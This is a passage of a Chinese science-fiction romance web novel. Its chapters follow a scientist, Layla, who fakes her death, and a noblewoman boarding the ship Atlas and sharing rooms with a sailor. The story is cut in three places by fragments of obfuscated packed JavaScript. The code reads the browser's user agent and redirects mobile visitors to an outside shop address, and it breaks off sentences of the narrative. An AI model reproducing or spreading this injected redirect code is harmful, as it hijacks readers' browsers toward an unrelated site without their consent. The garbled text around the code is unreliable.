《阿特拉斯漫游纪事录[人外]》 1. 楔子·天空城 Layla is “天空城每天都是极昼日。” 距中心花园3682.3万公里的莫奈酒馆里,两位隶属星环的研究员疲惫地举起木桶酒杯,对不准焦似的胡乱碰了一下,杯中淡黄的啤酒液在空中划出一道半弧。 “以前还好,每个月还会熄灯一次。自从那位上来以后,我就再也没见过傍晚的落日!”其中一位亚麻色头发的大胡子男醉醺醺地吐露着打工人对上层领导的不满,“耶稣在上,请用苹果塞住她锋利的犬齿。” “得了吧,天空城哪来的太阳?”他对面那位瘦小的黑衣男笑着嘲讽道,“如果不是莱拉女士,你这辈子都踏不上松软的黑土地。” “可她要完蛋了!”大胡子男冷哼一声,泡在黄油啤酒里的声音咕噜咕噜的,“议院都提审她两回了,一手好牌打得稀烂,我要是有她这个身世,我也……” “啧,谁不知道自星环研究所成立开始,议院就没给过我们好脸色,要不然我们怎么会被分配到这么鸟不拉屎的地界?”黑衣男立马抬手打断他,语气中半是不耐烦半是提醒,“你怎么敢在星环地界说她坏话的,上个月小弗雷德的下场你忘了吗?” 大胡子男顿时酒醒了,双手合十对着半空鞠躬投降,“莱拉女士,很抱歉,是我鬼迷心窍,您大人有大量,我不该……” “行了,她听不见。”一位扎着高马尾、留着姬发式的女子从酒馆最角落的桌前站起。她抄起身侧那把长达1.2米的窄背光刀,如寒风骤雨般从他们右边刮过。路过收银台时,还顺手弹出一个虚拟的缴费成功窗口。 此人身着星环统一的研究制服,腰间别了一把珍珠贝母柄金雕花手枪,再加上手上那把不可忽视的锋利光刀。黑衣男立马想到了她是谁。 “智……智智绘科长。”他哆哆嗦嗦地吐出这位黑发清道夫的名字。 听到自己的名字,女人并未有太多反应,随意点点头便大步跨出酒馆大门。 星环同往常一样,安静、祥和,炽白的灯光平等地撒在每一位研究员身上。智绘不由自主地摩挲着手中光刀的刀柄,一路上不知道在想些什么。 “莱拉在里面吗?”她最终停在了研究院大厅的球状水平仪前,冰冷的声音将前台值班的小姑娘吓了一大跳。 “在…在7538,”小姑娘如一只受了惊的兔子,险些从椅子上弹起来——引星计划搞砸之后,星环此时人人自危,毕竟谁也不知道自己会不会是去顶刀的那一个。 “会有人因此而付出代价。”似乎看穿了她的内心,智绘冷哼着给出答案,全然不顾这句话在她心里掀起了何种等级的轩然大波,便又抓着刀匆匆离去。 电梯门的示数从一渐渐爬升到五,又精准地将她投递七号楼的到第三十八个房间。 “叮”地一声,门开了。 说时迟那时快,门开的那一瞬间,智绘以肉眼几乎无法捕捉的速度猛然拔出光刀,对着空气肆意挥了三下,凛冽的刀光在半空中留下数道刻痕,本应射穿她心脏的子弹应声落地。 “啊,是你啊!”转身看清来人后,房间的女人显然松了一口气,将手枪往桌上一扔,笑眯眯地高举双手投降。 “莱拉,你到底要做什么?”智绘将光刀收入鞘中,又将粒子刃按灭,换出腰间的手枪指着她的头。 “删掉我终端里的公民信息,然后一把火烧了这里。”对方完全无视了对着自己脑门的枪口,偏着头朝她露出一个狡黠的笑容,“我的好智绘,我要休一个长假了。” 智绘看着她身后飘了半个实验室的蓝色弹窗,其中一个上面还写着大大的“Doyouconfirm?”她一时有几分哑然,“莱拉,删掉公民信息,你会成为一个死人。” “除了我死之外,还有什么更好的办法吗?更何况,我并不想让它打扰我的环球旅行——我要亲自去观摩母星的历史文化。”那个叫做莱拉的女人状似无可奈何地叹了口气,手上却毫无留恋地按下了“Yes,Ido.” “你知道的,智绘,引星计划需要一个死去的负责人。”眼见闪烁着幽幽蓝光的数据弹窗被突然冒出的贪吃蛇尽数销毁,她将众人心中已经成一块废铁的终端手环收回储物戒中。 “这些都是你和你老师的心血,”智绘面无表情地看着她转头继续销毁实验数据,“我们的研究会倒退三十年。” “没关系,都在我脑子里呢!更何况,我把云端删了,还有本地备份。”莱拉向她吐了吐舌,煞有介事地警告道:“这些数据不能放在星环,会给你们带来麻烦的。” “你还真是面面俱到。”智绘冷声嘲讽道。 “那可不!我可是你们的顶头上司!”到了这种时候,莱拉的声音依旧灵动轻快,“放心吧,天才不会那么轻易陨落。” “你什么时候走?”盯着屏幕上张着血盆大口、逐渐将自己扭成巨型麻花的贪吃蛇,智绘忍不住问道,“等你这古早程序跑完,星环早就被翻来覆去抄底十几次了。” “已经跑完了,这只是延迟动画啦!你不觉得看贪吃蛇一口一个1100很解压吗?”莱拉将贪吃蛇的脑袋再次放大,直到每个像素点都足足有一个人头的大小才作罢,“原本打算走了,既然你来做客,我哪有不迎客的道理。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527499|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“而且,我还想挑一条回母星穿的裙子。好智绘,你说我是穿这条红色的好看还是那条金色的好看?”她笑眯眯地向身后甩出两道弹窗。 可惜还没等智绘给出她想要的答案,头顶的警报器便发出了尖锐的嘶鸣,血腥刺目的红光将半空中的贪吃蛇衬得愈发面目狰狞。 莱拉叹了口气,无奈地放弃了就地试衣服的想法,转身宣布道:“我该走了。” 话音刚落,刚才还在疯狂吞吐数据的贪吃蛇仿佛听到召唤,飞速朝她赶来。它圆形的脑袋裂成两半,只留一丝粘连,一口将她吞入腹中。 一秒钟后,莱拉的身体消失在半空,化为贪吃蛇的新一格身体。 “啧,早就走了吗?留了个投影来糊弄人。”观赏完这一出精心准备的落幕演出,智绘终于将手中的枪管放下,盯着房间中疯狂抽搐分解的贪吃蛇,向对讲机那头的人汇报道:“莱拉死了。” “什么,我不是说让你活捉吗?你怎么能把她弄死了?你知不知道莱拉对母星那帮猴子有多重要,你这样会……”对面那人立马发出跳脚般的怒吼,“我等了一个晚上,你就给我这个答复!” “莱拉死了。”智绘并不在乎对面的态度如何,只是平静地重复道,“引星计划的负责人死了,你们,满意了吗?” “满意个屁!千鸟智绘·冯·霍亨索伦!你在干……啊啊啊啊!”话音未落的一瞬间,烈焰自早已被换成炸药的水平仪中冲天而起,整个星环研究院立马沦为一片火海。火舌舔舐着仪器与数据,将人类最先进的科学文明吞入腹中。 星环的研究制服拥有世界上最好的防火防爆功能,在紧急引力系统的调控下,智绘并未收到半分伤害。而躲在周围伺机行动的接头人就糟了秧,遗言仅仅留了半句便去见了地下的亲娘。 智绘站在废墟中央,蹭掉了落在脸颊上的灰尘,心想,“自作自受。” 几乎就在这一瞬间,全天空城人的终端上都收到了一条新消息。 ——“叮,您有一条来自星环的新消息,请尽快查收。” 有好事者立即点开了弹窗后面的礼包图标,一只贪吃蛇从里面爬出来,像吃撑了一样,一个字母一个字母地往外吐。每吐出一个字母,身体就少一截,直到那颗滚圆的脑袋也碎成粉末,一句完整的话便悬浮在半空中。 “Laylaisfallingintoheaven.”有人默默念出这句淌着血的真言。 与此同时,因为电力系统受损,笼罩在星环上空的柔光灯连跳了两下,最终不甘心地熄灭了它的光辉。 星环的天黑了。 2. 阿特拉斯号 寰宇纪629年,伊萨卡不冻港,阿特拉斯号在做启航前的最终准备。 “Thisisthedayyouwillalwaysrememberasthedaythat……” 在这个如深海巨兽般庞大的巨物的船尾,坐落着一个破破烂烂的老式检票口。一位老人正躺在摇椅上,颇为惬意地摇着蒲扇,听收音机里反复播放了数万遍的杰克斯派洛经典语录。 “等干完这一票,我就要退休咯!”他又将录音带倒回了最钟爱的部分,笑呵呵地对旁边拿着扳手和电焊的青年说,“小山与,爷爷这一生颠沛流离,群星与月亮皆于我相伴,年岁至此,也就只有你才会……” 见他又打开了吹牛皮扯古的话匣子,那个被他称作“小山与”的青年不动声色地直起身,拍了拍身侧足以成为人类零件文明发展活化石的大屁股电视机,语气凉且平淡:“好了,省着看,零件……” 话音未落,他一转眼,那老顽童早已将电视摇到太空站新闻bbc,就等着对时事政治发表一下自己的最新观点了。 “小山与啊?你说什么?” “……”见他露出贱兮兮的笑容,青年也不再多劝,随意擦了几把脸后,蹲在风扇口对着吹风。 老式扇页嘎吱嘎吱响,将他的背心紧紧贴在身上,透出训练良好的柔韧胸肌。 伊萨卡港口服务的是来自天空城的贵客,母星最大的防辐射天幕囊括到各个角落,居于此地的航司员工得以沾光享受不穿防护服出行的生活。 “我倒要看看那群酒囊饭袋除了吹嘘他们给多少颗行星命名以外,还能扯出什么新花样!”电视屏幕在闪烁,老头嘟囔着抿了一口粗茶。 什么国际团结寻找出路,这些虚头巴脑地东西也就哄哄末世热血青年,他们这种稳重的老人只关心自己的母星留守老人抚恤金能不能准时跑进他的裤腰带! 才修好的电视机没想到自己这么快又要进入工作,颇为不满地嗡嗡抗议了几声,屏幕上一大片雪花飘过,一双傲慢的蔚蓝色眼睛出现在画面里。 “莱拉·维里迪安!身为引星计划的总负责人,你竟公然犯下反人类反进步的禁令,肆意修改引力参数,伤害了数十条无辜志愿者的生命,证据确凿,你可知罪!”一道义愤填膺的声音响起,悍然向蓝眼睛的主人劈去。 可惜这气势十足的诘问经过多重信号转换器的摧残,落地到母星时早已成为尖叫鸡的嘶鸣。不像关乎人类生存的问题,倒像是你个死鬼,怎么又把袜子扔洗衣机里了! “我认识他,”老头“腾”地坐直了,“他就是那个反洗衣机烤肉计划的核心议员,我的老天,洗衣机凭什么不可以烤肉,他个疯子,上帝会责备他的!” 可惜寰宇纪没有上帝,但上帝可能附在了被审判的莱拉女士身上,将他对洗衣机法案的愤怒尽数传出。 面对那尖叫鸡议员歇斯底里地诘问,黑发蓝眼睛的疯狂科学家露出一个不可一世的笑容,“坎诺特议员,恕我直言,愚钝无知的议院无权为我的行为定罪,史书的春秋笔法更没资格为我的功绩授勋。” “至于你,威廉·坎诺特,你将永远躺在后来者的骸骨之下,不见天日!” “你!莱拉,你个遭天谴的恶魔!你终将被你的疯狂吞没!”那位名为威廉的议员面目狰狞地向她叫嚣。 可惜老电视机受不了他这么恶毒的诅咒,唰啦一下又闪出了白屏,连滚带爬地吐出几个零件,引发了老贝克痛心的悲鸣。 “莱拉·维里迪安。”靠在一旁的青年低低地念了一遍这个名字,“星环的天才暴君,完美至无法触摸的疯子。” 作为阿特拉斯号上《OhJesus!》报中的常客,这位混着东方血液的黑发科学家的生平履历可谓是人尽皆知。 维里迪安家族的独女兼话事人,7岁从赫利孔学院毕业,8岁拜入上一任引星计划的负责人门下,11岁作为星环独立科学家参与MHT1472星球的改造工作,13岁完善引力系统,16岁改造出适宜人类生存的大气层,17岁接任引星计划负责人,在交接会议上力排众议,一战成名。 因其天才般的头脑,她曾被母星上的人们誉为人类最后的希望,连阴沟里的老鼠在睡前也要对着她的画像念几句阿弥陀佛,保佑自己多子多福。 如今看来,这位天神最完美的化身似乎有些不太乐意坐在神坛上被哺乳动物们朝拜,非要滚下来感受一下人人喊打的滋味。 不过这些又跟他们平民老百姓有什么关系呢,太空垃圾也在太空,不会滚进早已被辐射污染的母星里。无论受尊敬还是被讽刺,莱拉女士都不会与基地庇护所里的边角料混为一谈。 阿特拉斯号的汽笛在嗡鸣,青年手上的通讯器也随之振动。 “该走了,”他想,“罪恶的阿特拉斯号又将远航。” 察觉到离别之时将近,老贝克颇为不舍地看着他:“小山与,替我向斯诺克船长,欧阳大副,列夫伊万夫人问好。” “你看看他们,当了管理层之后就再也没来看过我,你可不要向他们学习,听到没有!离驾驶室远一点!当个快乐的小水手!”说着他还哼起了小调,“勇敢、坚毅的小水手,远方有朗姆酒……” “劳驾!”一道活泼又清亮的声音打断了他的航行夜话。老贝克震惊地睁大眼,一位闪着光的姑娘突然出现在他这小破屋的门口。 “两位先生好,有位叫维京的女士告诉我,只有来你们这才可以检纸质票,”那姑娘颇为灵动地眨眨眼,“我出门忘记带终端了!” 这可是件稀奇事,在寰宇纪,连三个月大的狗崽子出门买菜都会带终端,换句话说,只要你不是缺心眼儿,非要感受一下远古智人的生活,终端不可能从你的手腕上飞走。 青年接过她手中的票根,视线从贵族小姐纤细白皙的手腕上转移到另一个位置——寰宇纪500周年纪念款,凭此票根可无限次在阿特拉斯号上享受至尊会员特权。 “哦,我老师的老师给我的!据说是他爷爷传给他的!”像是看出他的疑惑,姑娘笑眯眯地解释,“先生们,我能上船吗?” 青年看向老贝克,这倚老卖老的老油条无辜地回望他,面上露出几分心虚:“哈哈,你猜怎么着,我这辈子第一位顾客是在退休前一分钟来的,这儿的检票机可能在我工作前就退休了。要不……你去问问……” 青年沉默片刻,手持周年纪念款票根的贵客可得罪不起,虽然这黑发黑眼的小羊羔看起来无害,但谁知道她背后的长辈是不是星际军火商呢!就斯诺克那回复消息的速度,十条命都不够一发歼星炮造的。 更何况,她很美味,像下午茶里的美味糕点,只要站在那便能吸引所有食客的目光,青年空荡的肠道正发出强烈的叫嚣。 他抬手发了几条消息,然后向这姑娘点头,“走吧,我带你上船。” 听到肯定的答复,姑娘欢快地点点头,上上下下将他打量了一圈儿,然后脚尖一旋,转到他的身边,如同一只翩迁的蝴蝶——至少本该如此。 显然两人都低估了维多利亚时期晚礼服的重量,层层叠叠数十层的裙摆的确与灵动搭不上边,可怜的小蝴蝶一不留神,把自己的脚崴到了,带着浑身的重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527500|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量径直往青年的怀里栽去。 青年下意识去接,等他反应过来时,他已经被甜腻的香气撞了个满怀,柔软的黑发随着姑娘身体的晃动在他手臂上来回揉蹭,繁杂的裙摆在地上铺开,为本就不凡的姑娘镀上一层金黄色的光影。 “哎呀抱歉先生,我好久没穿晚礼服和高跟鞋了!”姑娘充满歉意的吐息绕在他的喉结上,勾起他全身的热量,“请借给我一只手!” 得到肯定的答复后,姑娘轻轻搂住他的手臂,继续笑着与他攀谈:“先生,请允许我询问您的名字!哦,我姓盛,盛初沅!” 一个出自东方盛世的美好名字,与这烂透了的世界半点不沾边。 “岑屿,山今岑,”青年平淡地答复道。 没想到这个回答竟引发了盛小姐的惊呼:“哎!我最喜欢姓岑的了!先生,我们真有缘!” “贵族小姐最无用的奉承。”岑屿不经意地想,随后出声提醒:“请不要说一些会让人误解的话,我不能保证不将它当真。” “不是哦,”闻言,盛初沅立马扬声辩解,“岑先生,我的确对您很感兴趣!也很高兴能与您结识!感谢您能成为我的第一任导游。” 岑屿哑然,手臂却不自觉地将她往怀里带。可第一次出远门的少女看什么都新奇,一路上在他耳边叽叽喳喳说个没完,指着涂满红漆的船身,非得知道它对应的是口红的哪个色号,看起来并没有注意到他的小心思。 不知不觉间,他们便通过了栈桥,进入到阿特拉斯号内部。见有贵客光临,一位手持话筒的猴子立马跳到他们跟前,向盛装出席的盛小姐献上一束鲜花。 “女士们先生们!欢迎各位来到阿特拉斯号!在这里,你们将沉浸式地参与到长达一年的母星历史文化之旅!”它举起话筒慷慨致辞,犹如一位狂热的信徒。 “在这里,人类的文明与疯癫相生。中世纪的龙骑铁盔镌刻着圣经,勇士在诗歌吟游中变为传奇;伟大的文艺复兴席卷了全世界的烈火,蒙娜丽莎正微笑注视着毁灭;爵士乐与好莱坞,膨胀膨胀再膨胀,阿波罗跨上了月平面!” “昭和年代的歌舞伎町迷梦尚存;维多利亚港的霓虹灯盘旋在粤语金曲;下南洋,下南洋,亚洲四小龙早已兴起!” “伟大的工农联盟举起了镰刀与锤头,沉睡的巨龙在21世纪彻底苏醒!社会主义承载了流淌数代的黄金!” “然后到了25世纪,人类太过依赖科技,罔顾生态平衡,一不留神将地球大气层捅出了个洞,玩火自焚。”盛初沅笑眯眯地补充完它剩下的台词,好心提醒:“岑先生,你的手环响了。” 岑屿闻言抬手,手环的通讯录里,那位话唠的埃斯特万老兄给他发了一连串消息。 埃斯特万:岑,大事不妙,应急贵宾室已经被住满了。 埃斯特万:叶卡捷琳娜小姐刚刚带了十几个菲佣上船,并占了整整五间贵宾室,她手持总议长的手谕,我们不敢跟她起冲突。 埃斯特万:要不你先别让那位纪念票小姐上船?可是100周年的纪念票……哎呀这位我们也惹不起。 埃斯特万:老天!这么久没回我,你们不会已经上来了吧! 埃斯特万:我看看,现在就只有平民区有空房间了,那位小姐愿意委屈一下吗? 埃斯特万:岑,斯诺克先生发话了,让她住进金海101。 “……金海101。”岑屿饶有兴味地看着这几个字。啊,他的休息室——船长让他将这颗刚落入人间的星星带回自己的巢穴。 “岑先生?怎么了?”身旁的盛小姐正一脸无辜地看着他。 3. 金海101 要是此时埃斯特万在旁边,他一定会大吼:“还能怎么样!大小姐,你大难临头了,你要和全阿特拉斯号最原始的男人共享一个四室两厅,天可怜见的,那连条机械臂都没有,北京猿人的生活都没那么苦!” 可惜现在没有热心人提醒这位即将迈入原始部落的可怜姑娘。她仰起头,颇有些撒娇意味地摇了摇男人的手臂。 “……没什么,我们走反了。”斯诺克的判断不会出错,即使这并不安全,而且,这正合他意,不是吗?岑屿垂下眼眸,按耐住心底的狂潮,领着她走向员工电梯。 “可是我看指示牌……哎!岑先生快看,骑双脚踏车的猪!”盛初沅刚想提出异议,注意力却又被周围的光景吸引——一队吹着唢呐的动物游行团正从他们身边挤过。 “瞧一瞧,看一看,走过路过不要错过——” “嘿,尊贵的女士,请往这儿看。下周二晚八点半,脑壳糖浆少女与她的怪胎朋友们欢迎您的到来!” 察觉到惊奇的目光,走在最前端的红裙天鹅用脖子拧出一个洁白无瑕的爱心,锋利的鸭喙从正中刺穿,向盛小姐行了一个不伦不类的吻手礼。 “嗬…嗬,欢迎…欢迎…”在其身后,足足六百斤的肉猪使劲踩动着踏板,塑料脚踏车发出可疑的牙酸尖叫。 “死香猪!这可是爱丽丝小姐最喜欢的阿贝贝,莱拉女士亲手制造!你被端上饭桌十次都不够碰一个零件的!”窜上旧烛台的细毛狗向他翻了一个大大的白眼。 “不要吃我,不要吃我……我要减脂!运动!运动!”肉猪蹬得更起劲了,“我要做……普拉提……中国…功夫!” “好热…好热!啊!”转出漫天火星的脚踏车再也受不了过劳工作,座板在一瞬间扭曲成弹簧,在胡克定理的作用下,肥头大耳的巨物如炮弹般撞向天花板,来回顶撞了十几次南墙,最后消失在走廊尽头。 “哦,老天,他留了一地油脂。”炮弹在头顶飞过,事不关己的火鸡小姐张开巨大的翅膀,试图拎住自己的鼻尖。 “抱歉女士,让你看笑话了,”西装怪猫从她身后绕出,帽子里抓出了一大把糖果,淅淅沥沥地落向盛初沅的手心。 “谢谢您,先生,您的帽子真时髦!”盛初沅欢快地挑起一颗海盐太妃糖,剥开透明玻璃纸,一道流光从中蹿出——她将偷吃了彩虹的信鸽从囹圄之地中拯救出来。 “很精彩的魔术!”她不吝夸赞。 “小姐慧眼如炬。”怪猫向她鞠了一躬,迈步缀回队伍末尾。 “母星上的进化动物可真有趣!”声势浩大的队伍沿着蜿蜒曲折的油脂消失,盛小姐恋恋不舍地收回目光,“人类靠思维搭建起来的可怜优越感将荡然无存。” “这不是进化,这是变异,”岑屿平静地辩驳,“神谱里的怪物由此诞生。” “环境的定向选择,种群层面上发生的不可逆变化,这就是进化。岑先生,说不定人类也在发生进化哦!”盛初沅向他狡黠地眨了眨眼睛,“不过进化带来的副作用也很明显,刚才的猫先生是个红绿色盲!” “哎,您没发现吗?这只小鸟的翅膀上没有绿色,红色的占比面积比其他颜色略微大了三分之一,十有八九是猫先生自己上的色。” “啊…副作用,”岑屿面上不显,心里不由自主地思索,“好敏锐的观察力……还有一双与被甩下的废物们格格不入的眼睛。她不属于这里,一颗在太空巡航的星星。” “咦?岑先生?我们到了吗?”站停在银白色的门前,盛初沅兴致勃勃地戳着右侧的虹膜扫描仪,红外线追随着她的眼珠上上下下。 “女士,请保证您处于安全状态,系统将对您进行人机检验——3,2,1,请选择全部绵羊。”智能体空灵的声音从门框中挤出来,一个虚拟弹窗跳到盛初沅面前。 三只眼睛的黑山羊、五条腿的羚羊、绿色毛发的大灰狼……这神奇的蓝色页面立马激起了盛小姐的兴趣,她兴奋地一顿乱戳。 “足以引发灾祸的好奇心,”岑屿在心里评价,“如果她在此刻放弃,我或许会放过她。” “女士,请在30秒内提交答案。”机械音温馨提醒,“女士,您确定是选择abcdefg吗?” “确定。”盛小姐睁眼说瞎话,敢说就敢做的能力 早已炉火纯青,指着蓝鲸都能喊绵羊,短短三秒内就帮这远古物种找了一屋子兄弟姐妹。 “嗞…嗞…系统正在判定……系统错误……恭喜您,绑定成功。Ela愿意为公寓的女主人服务。”一阵忙音通过,系统通过了她的申请。 “女主人?亲爱的,请容许我认识你的男主人。”听到这个颇有指向性的报幕,盛初沅露出一个兴味十足的笑容,挽着男人的手微微收紧,“岑先生,我好害怕,如果可以,您……” “她想让我保护她,哈,她知道她在寻求谁的庇护吗?不过,这具皮囊确实具有迷惑性,体脂率低,身材精壮,无论是肌肉线条还是腰部力量都足以吸引天真烂漫的贵族女性。” “啊,她不该提出这个要求,晚了……这是她自己找上门来的。” 黑暗处的呓语在狂欢,岑屿舔了舔后槽牙,压制住眼底的疯狂,“我。” “盛小姐,我说,公寓的男主人,是我。您需要我为您做些什么吗?” “真的吗?先生!我就说与您很有缘吧!”即将踏入魔窟的小羊羔立马露出一个惊喜的表情,“这下我们要一起度过这次旅途了!” 与叶卡捷琳娜小姐不同,她好像并不在乎自己是否会与陌生男性共享一片空间,也并未发觉作为至尊会员,却要屈居于船员休息室有什么不对。 ——不过在某种层面上,除开现代科技,岑屿的休息室的确比贵宾室更豪华。他拥有独立的四室两厅,而贵宾室只有三室一厅。对于一个不怎么呆在休息室的人来说,这简直是暴殄天物。 至于为什么?可能是岑屿的养父与斯诺克船长是旧识吧。所谓祸害遗千年,强龙压不过地头蛇,从古流传至今的裙带关系,无论在母星还是天空城都始终照旧。 金海101,阿特拉斯号总设计师的巅峰之作,复古,奢华,任何对旧时代黄金岁月怀有眷恋的人,都将为之着迷。 蒸汽时代的彩窗始终闪烁,日不落帝国的荣光永不落幕;旺角的旧唱片模糊着岁月,仿佛仍在搅合着三色彩灯的骑楼间回响。萨克斯与手风琴相互杂糅乐声,奥斯曼的地毯双结连结,各大文明的瑰宝并没有在毁灭中消亡。 不仅如此,在船体有限的空间中,金海101的每间卧室都有足足六十平米,并配有独立的海景阳台。 可能正是因为考虑到这一点,船长才会在挣扎之后安排盛小姐入住。 “布谷,布谷,布谷,现在是伊萨卡时间下午三点整!”墙上的发条小鸟从紧闭的木质小窗里撞出,迷你庭院中,身着盛装的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527501|203585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男女女沿着发条时钟规定的轨道滑出,热闹的舞会就此开演。 “岑先生,我喜欢这里,您可真有品味。”盛初沅拨动着精致小人的头,眼睛亮闪闪的,如此美丽又有生命力。 这样吗……可惜事实上,这些文青小物件是房间上一任主人留下的,和他可没太大关系,但谁不愿意收到来自一位美丽女士的称赞呢? “这一片空间是您的。”岑屿慷慨地划出三室一厅的范围,“我住进来后从未用过这些床具,您请自便。” “那太感谢您了!”盛初沅笑着松开了攥着他手臂的手,那股温暖的气息立马变得若即若离,“那我……” 谁知还未等她将恭维的话说完,一道如开水壶鸣叫般尖锐的声音便从空调风管机处炸开。 “啊啊啊啊啊!哦,我的上帝!瞧我刚醒来就听到了什么!” “岑先生,我敢保证您绝对没看过《星环卫生检查报告》。在温度20至25摄氏度、相对湿度60%至80%的条件下,尘螨数量约每三周翻倍。而您的房间已经有五年未进行除螨,理论推算下,那张古早乳胶床垫的螨虫总数已经达到百万级别!我可怜的盛小姐,您要捅螨虫窝了!” “哎?那该怎么办?您可以帮我更换一下吗,Ela?”盛初沅故作浮夸地抬手掩嘴,蕾丝手套紧密贴合着她的手指,勾勒出近乎完美的手型。 “该死,”岑屿默默想,“那只手本该是我的,它应当永远焊在我的手臂上,而不是捂住自己的口鼻,挡住我望向她的视线。” “哦,很抱歉盛小姐,我做不到,谁让我们英明神武的男主人把金海101的机械臂全拆了!如今我除了能揭露他的真面目以外,也就只能提醒您要按时补充维生素了!哦,还有,我不是Ela,我是凯妮娜夫人!”着急又刻薄的赛博老管家飞快澄清道:“我可是这儿的老人了!想当年,岑先生刚上船时……” “凯妮娜是上一任智能体,系统更新迭代时没删干净,过一会就回去了,您不用管她。”岑屿打断老管家的絮絮叨叨,二手的房间就这样,隔三差五会跳出一些奇奇怪怪的bug。 “哦,别这么说,我会难过的,我没有被淘汰,我只是——”凯妮娜夫人立马抗议道,“只是——滋啦,滋啦,抱歉,岑先生,我回来了,请问有什么需要帮助的吗?” 一阵电流声过后,Ela冰冷而理性的询问取代了凯妮娜高亢的咆哮,“您为何沉默不语?请允许我调动往期数据进行对比分析……” “滴滴滴,我明白了,您是想让我向盛小姐展示版本先进性能。好的,为分析出您的潜在需求,正在检测您身体的各项指数。” “您的瞳孔较正常放大至1.2倍,心跳极速增快,是脑神经元活动加剧,内激素分泌过多的外在症状表现,结合当前日期与往期表现,您疑似进入了发……” “一秒内关闭全屋智能语音系统。”岑屿面无表情地发号施令,并扭头看向盛初沅,“盛小姐,请不必理会她们的胡言乱语。” “怎么会,这怎么能叫胡言乱语呢!母星的人工智能体竟然已经发展到了这个程度!”看完这一出如同精神分裂病人在马路上跳disco的戏码,盛初沅兴致勃勃地感叹道,“岑先生,您平时的生活一定很有趣。” 岑屿对此不置可否,只是向她伸出那只先前被冷落的手,重复道:“不必理会她们。盛小姐,请到这边来,我来替您更换床具。” 4. 终端和储物戒 “岑先生,请问您这有量子解析仪吗?”盛初沅闻言笑着将手放到他的手心,边走边继续打量四周。 “您带了叠态储物戒?”岑屿淡淡地扫了她一眼,眼神中透出几分讶异。 这话落到盛小姐耳朵里可就变了味。她状似恼怒地拍了拍对方的小臂,认真澄清道:“岑先生,我只是出门忘带终端了,又不是一点生活经验都没有的大傻子,出门旅游要带行李这件事还是清楚的。” 岑屿耸耸肩,并不打算跟她争论到底是忘带行李傻一些还是忘带身份证明更傻一些,只是回答道:“有,但屋里没有机械臂……您若是不介意的话,可以将物品勾选出来,我来替您收拾。” 盛初沅欣然接受。 要问寰宇纪最伟大的发明是什么?十个人里有六个会回答智能终端,剩下四个人会捧着叠态储物戒,高呼其量子须弥海的美妙别称。 自23世纪的量子革新运动起,人们逐渐摆脱了经典牛顿力学的束缚,彻底将虚无缥缈的量子学说落于实际。 借助波粒二象性以及薛定谔和他的小猫咪等基础物理理论,寰宇纪的物理学家们创造出了能去物质化的储物戒指。 即在存储物品时将其转变为量子信息,写入指定叠加态中存储,在需要取出时将其重构,以达到无质量、无体积、易携带的效果。 初代的储物戒一次只能扫描一件物品,否则会引起信息流絮乱,刻录出一个四不像,甚至影响已存储完好的健康数据。 ——据说量子储物戒之父有一屋子穿着泡泡蕾丝袖的木质家具,因为他曾粗心地把女儿的一整个衣柜扫进了戒指里,粉红少女裙如同爬虫一般污染了全部数据库,最后连戒指的外观都变成了粉红色。 哦,当然,这都是野史,不过这时代的野史多如牛毛,也并不差这么一个笑话。 总之经过数代的发展改进,叠态储物戒已经逐渐臻于完美,不仅可以一次性扫描多个物品,还可以保证取出来的物品原汁原味,达到保温保鲜的绝佳效果。 唯有取出来时仍需要一件一件取,这也能理解,毕竟你可以一股脑儿将东西全部塞进抽屉,但取出来时可不能拿着胶带称剪刀。 而量子解析仪便是人类以偷懒之名创造出的新一代黑科技。 它能在与储物戒建立数据联系之后,弹出一个虚空弹窗,使用者只管发布命令,自有机械臂能帮你把所有行李归到合适的地方。 此番保姆功能彻底解决了人类的收拾焦虑症,同时也在潜移默化中促进了旅游经济发展。 “岑先生,这些裙子都需要用宽肩衣架悬挂,不能折叠存放,否则会变形的。”身上的衣裙太过臃肿沉重,以至于盛初沅的膝盖都无法轻易弯曲,更别说坐在沙发上歇脚了。于是她只好规规矩矩站在岑屿身后,看着他忙前忙后。 岑屿沉默地点点头,弓着身子帮她掖平床单。 与她华而不实的穿着全然相悖,岑屿上半身只套了件黑色背心,下半身则是一条连缀了好几个口袋的工装长裤。 此时他正弯着腰背对她,流畅的背部曲线蓦然撞入她的眼底。盛初沅舔了舔嘴唇,笑着调侃道:“岑先生,您的屁股可真翘。” 岑屿愣了愣,随即慢悠悠地转过身,垂着眼看向她。他斟酌了一会儿措辞,有些拿捏不准般问道:“盛小姐,你们天空城的大小姐,都是这么轻浮的吗?” 